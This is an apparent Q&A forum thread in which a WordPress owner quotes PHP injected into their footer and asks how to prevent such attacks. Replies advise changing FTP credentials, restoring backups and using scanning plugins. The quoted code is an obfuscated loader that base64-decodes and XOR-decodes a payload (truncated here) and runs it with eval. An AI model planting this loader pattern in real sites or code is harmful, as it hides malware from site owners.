1

My wordpress installation has been attacked and the hacker has injected php code into my footer.

Here is the code :

<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?><?php
$encoded = "ch0KCh...";
$raw = base64_decode($encoded);
$res = '';
for ($i = 0; $i < strlen($raw); $i++) {
    $res .= chr(ord($raw[$i]) ^ ord('x'));
}
eval($res)
?>
<?php /* uqjsQSyWVhmOHAEVa1i6 */ ?>

I would like to know the solution to prevent these kind of injection? I am running the latest version of wordpress.

4
  • remove the footer, find out how he injected the code!
    – d9ngle
    May 18, 2017 at 8:01
  • Maybe a malicious plugin or theme? May 18, 2017 at 9:54
  • First change your FTP credentials. Then download all the wordpress files via FTP and look for a root kit or something like that. Somewhere in your wordpress repository will be files, that do not belong to wordpress. This kind of malware will always write some code into your wordpress files. If you have a backup delete all the files in your ftp account after changing the ftp credentials and upload the backup.
    – Marcel
    May 18, 2017 at 13:01
  • Make sure you have a strong password in both WordPress and your FTP. He could have gotten access to either one and injected code that way. May 18, 2017 at 13:47

1 Answer 1

0

plugins that helps for hacked Wordpres site

  • NinjaScanner : check integrity of the files
  • iThemes Security : there is a "Brute Force Protection" option

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.